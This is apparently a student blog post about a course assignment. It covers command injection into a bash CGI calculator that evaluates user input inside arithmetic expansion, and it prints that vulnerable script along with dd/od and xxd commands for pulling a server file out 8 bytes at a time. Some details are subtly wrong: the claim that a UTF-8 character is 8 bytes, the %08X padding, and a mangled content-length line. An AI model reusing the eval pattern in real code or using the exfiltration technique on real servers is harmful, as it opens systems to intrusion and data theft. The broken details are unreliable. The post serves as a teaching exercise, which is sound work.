Another way to see the comp 206 homework
Motivations
Our assignment consisted of a very poorly written C code (voluntarily done as so of course), to deleguate basic calculator operations to bash with arithmetic substitution (syntax : $((operation))). The program then returns the result to the user. The program was structured as a client-server web app.
The key lesson from this assignment was that anyone could run a command by adding a simple command substitution (syntax : $(command)). We would expect the arithmetic substitution to throw an error but recall that command substitution returns the exit status of the command being run.
Combining it together, we are able to execute a command on the remote server and will usually get a 0 as return. But what if we push this vulnerability further and try to reverse the connection to the server to extract data?
Some useful commands
The intuition is to read from a file, generate a large int from the bytes and send the result over. Usually arithmetic expansion will throw an error beyond the 64 bits limit, or wrap around and start from the negatives.
So we’re limited to a maximum of 8 bytes per request, and each UTF-8 character is encoded in 8 byte so 8 characters maximum.
dd command
dd command : converts and copy a file
parameters :
bs=BYTES : read and write up to BYTES bytes at a time.
if=FILE : read from file instead of stdin.
count=N : how many bytes to read
xxd command converts binary data into a hex dump
1 byte can be represented by 2 HEX digits
The command
Take an offset of k bytes, and read the next 8 bytes
dd if=[server.cgi] bs=1 skip=k count=8 | od -An -t u8
# prints 8 bytes starting at k and converts the stream into a large integer
The reverse operation can be done with
printf "%08X" "$your_int" | xxd -r -p
# chunks of 8 bytes
Try for yourself !
Create a file called calc.cgi with the following code :
#!/bin/bash
function urldecode() {
: "${*//+/ }"
echo -e "${_//%/\\x}"
}
decoded="$(urldecode "$(cut -d= -f2- <<< "$QUERY_STRING")")"
result="$(eval "echo \$(($decoded))" 2>&1)"
printf "content-type: text/plain\r\n"
printf "content-length: \$\{#result\}\\r\\n"
printf "\r\n"
printf "$result"
To avoid having to serve an html form, simply set the following environment variables to set the input to the CGI script :
export QUERY_STRING="expr=[YOUR EXPRESSION]"
export REQUEST_METHOD="GET"